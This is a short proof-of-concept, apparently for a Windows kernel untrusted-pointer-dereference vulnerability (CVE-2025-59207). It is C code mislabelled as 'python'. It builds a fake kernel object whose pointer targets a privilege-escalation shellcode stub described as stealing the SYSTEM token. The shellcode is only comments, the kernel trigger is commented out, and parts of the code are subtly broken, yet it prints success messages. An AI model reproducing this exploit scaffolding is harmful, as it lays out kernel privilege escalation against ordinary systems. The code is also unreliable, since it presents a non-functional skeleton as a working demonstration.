The following code is for security research and authorized testing only.
python
// CVE-2025-59207 - Windows Kernel Untrusted Pointer Dereference PoC
// This is a conceptual PoC demonstrating the vulnerability pattern.
// Actual exploitation requires kernel object manipulation.
#include <windows.h>
#include <stdio.h>
// Fake kernel object structure to trigger untrusted pointer dereference
typedef struct _FAKE_KERNEL_OBJECT {
DWORD header;
PVOID functionTable; // Untrusted pointer - kernel will dereference this
ULONG refCount;
ULONG reserved;
} FAKE_KERNEL_OBJECT, *PFAKE_KERNEL_OBJECT;
// Shellcode to be executed in kernel context (privilege escalation payload)
// In a real exploit, this would steal the SYSTEM token from EPROCESS
__declspec(naked) void KernelShellcode() {
__asm {
// Save registers
pushad
// Token stealing shellcode would go here
// Locate current process EPROCESS
// Find SYSTEM process EPROCESS
// Copy SYSTEM token to current process
// Restore registers and return
popad
ret
}
}
int main() {
printf("[*] CVE-2025-59207 PoC - Windows Kernel Untrusted Pointer Dereference\n");
// Step 1: Allocate fake kernel object in user-mode memory
FAKE_KERNEL_OBJECT fakeObj;
ZeroMemory(&fakeObj, sizeof(fakeObj));
// Step 2: Set the untrusted pointer to point to our shellcode
fakeObj.functionTable = (PVOID)KernelShellcode;
fakeObj.refCount = 1;
// Step 3: Trigger the vulnerable kernel API with our fake object pointer
// The vulnerable function fails to validate the pointer before dereferencing
// HANDLE hDevice = CreateFileA("\\\\.\\\\VulnerableDriver", ...);
// DeviceIoControl(hDevice, IOCTL_CODE, &fakeObj, sizeof(fakeObj), ...);
printf("[+] Fake kernel object prepared at: 0x%p\n", &fakeObj);
printf("[+] Untrusted pointer set to: 0x%p\n", fakeObj.functionTable);
printf("[!] Triggering vulnerable kernel call...\n");
// In a real scenario, the kernel would dereference fakeObj.functionTable
// and execute our shellcode with kernel privileges
printf("[*] PoC demonstration complete. Apply MS patches immediately.\n");
return 0;
}